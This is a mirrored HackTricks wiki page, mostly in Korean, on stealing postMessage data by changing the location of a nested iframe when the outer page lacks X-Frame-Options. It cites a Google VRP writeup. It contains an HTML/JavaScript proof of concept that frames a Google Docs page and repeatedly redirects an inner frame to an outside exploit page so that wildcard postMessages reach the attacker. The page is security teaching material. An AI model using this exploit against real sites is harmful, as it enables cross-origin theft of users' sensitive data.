mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
32 lines
1.3 KiB
Markdown
32 lines
1.3 KiB
Markdown
# Steal postmessage modifying iframe location
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Changing child iframes locations
|
|
|
|
According to [**this writeup**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), 만약 X-Frame-Header가 없는 웹페이지를 iframe으로 삽입할 수 있다면, 그 안에 있는 다른 iframe의 **위치를 변경할 수 있습니다**.
|
|
|
|
예를 들어, abc.com이 efg.com을 iframe으로 가지고 있고 abc.com에 X-Frame 헤더가 없다면, **`frames.location`**을 사용하여 efg.com을 evil.com으로 교차 출처로 변경할 수 있습니다.
|
|
|
|
이는 **postMessages**에서 특히 유용한데, 만약 페이지가 **와일드카드**를 사용하여 민감한 데이터를 전송하고 있다면 `windowRef.postmessage("","*")`, 공격자가 제어하는 위치로 관련 iframe(자식 또는 부모)의 **위치를 변경하고 그 데이터를 훔칠 수 있습니다**.
|
|
```html
|
|
<html>
|
|
<iframe src="https://docs.google.com/document/ID" />
|
|
<script>
|
|
//pseudo code
|
|
setTimeout(function () {
|
|
exp()
|
|
}, 6000)
|
|
|
|
function exp() {
|
|
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
|
|
setInterval(function () {
|
|
window.frames[0].frame[0][2].location =
|
|
"https://geekycat.in/exploit.html"
|
|
}, 100)
|
|
}
|
|
</script>
|
|
</html>
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|